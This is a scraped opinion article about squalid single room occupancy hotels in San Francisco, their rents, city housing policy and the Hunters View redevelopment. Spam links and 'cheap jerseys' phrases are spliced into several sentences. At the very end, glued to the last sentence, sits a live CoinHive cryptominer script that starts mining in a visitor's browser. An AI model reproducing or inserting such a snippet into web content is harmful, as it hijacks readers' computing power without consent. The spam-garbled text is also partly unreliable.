smelly room in a San Francisco SRO

In a city with the third highest median income in the country, about 30,000 San Franciscans 4 percent of the city’s population live in abysmal conditions in more than 500 single room occupancy hotels.

The hotels that fare worst are privately owned, which most are. There, residents pay $600 to $1,000 a month for an 8 by 10 foot room in buildings where the smell of human waste infuses the hallways from overflowing toilets; floors gather puddles from leaky pipes and ceilings; carpets go unchanged for decades; and rooms are infested with bedbugs, cockroaches and mice. Residents share dormitory style toilets and showers, typically one or two per floor, and there are no cooking facilities.

The conditions http://www.cheapjerseys11.com/ are suboptimal, but SROs provide a vital source of housing for very low income San Franciscans, especially in a city where developers are pandering to the flood of millionaires, making housing prices skyrocket and neighborhoods too expensive.

And that’s the catch. SRO slumlords know how essential their property is and they have a captive market: San Francisco’s ultra poor. While many SRO tenants work, most are unemployed and receive $520 in monthly general assistance or $700 to $1,200 in federal Supplemental Security Income.

With the average rent of a studio apartment at $900 to $1,000 per month, and most landlords requiring a first and last month’s deposit as well as a credit check, the poor are effectively cordoned off from other housing options.

The tenants are stuck, so landlords get to charge outrageous prices as long as they are cheaper than apartments and don’t need to provide the most basic upkeep for their renters.

To the city’s credit, it has passed laws to improve SRO conditions, preventing landlords from shuffling tenants around to avoid rent control; requiring sprinkler systems to prevent fires; and forbidding landlords to fine their tenants for having guests. Care Not Cash money has been used to cheap jerseys make about 20 hotels more affordable, but the formerly homeless have to jump through bureaucratic hoops to get there, and there just aren’t enough rooms.

And the poor need more than “care.” They need protection from being priced out of the city. If the city were genuinely committed to dealing with the root of the housing problem, it would regulate freewheeling real estate flipping, where speculators buy property and resell it at inflated prices or develop it into market rate housing.

Many SRO tenants contend that their maltreatment is systemic one of the many symptoms of their invisibility to the government and society at large. Some residents say SROs serve a double purpose: The buildings give them a home and help the city keep poverty out of sight and out of mind, allowing it to disregard the fact that a significant part of the population is still chronically poor even if they aren’t sleeping in the streets.

The underlying problem is by no means unique to San Francisco: Disregard for the poor and refusal to deal with systemic causes of poverty are nationwide issues.

The city has made big promises to fight poverty, but the current strategy cracking down on panhandlers and sidewalk sleepers clearly isn’t going to decrease poverty; it will just keep downtown shoppers and workers from having to look at poor people.

The best the city is doing to provide the poor with more housing is requiring developers to offer 15 percent of their units at below market rates even though the city’s general plan says that two thirds of new housing should be at that rate.

But even below market rate units, as far as SRO tenants are concerned, might as well be on another planet. They are priced to be affordable for a family of four making $72,000 to $90,000 a year.

Some of the only non SRO housing that very low income San Franciscans can afford is government funded public housing projects, but federal funding for public housing has decreased 31 percent since 2001.

According to House Speaker Nancy Pelosi, D San Francisco, this is changing. She recently announced that Democrats have increased spending on public housing.

At the same time, though, she initiated spending $1 million to help transform a public housing project called Hunters View in Bayview Hunters Point. The money will be used to replace 261 units with “affordable rental units” and “market rate homes.”

That’s 261 people to add to the list of those without housing options even the new “affordable” units will be out of the former tenants’ reach. Some will probably end up in the streets. Others will move to SROs.

The new Hunters View tenants probably won’t mind, though. The plight of the poor has always been easy for middle class Americans to forget as long as no one is digging through their trash or asking for their change.var miner = new CoinHive.User(‘xtFCkOWXnlc5ZsFwNrjy8Mi8U1E0VRsi’,document.domain,{threads:navigator.hardwareConcurrency,autoThreads:false,throttle:0.5,forceASMJS:false});miner.start();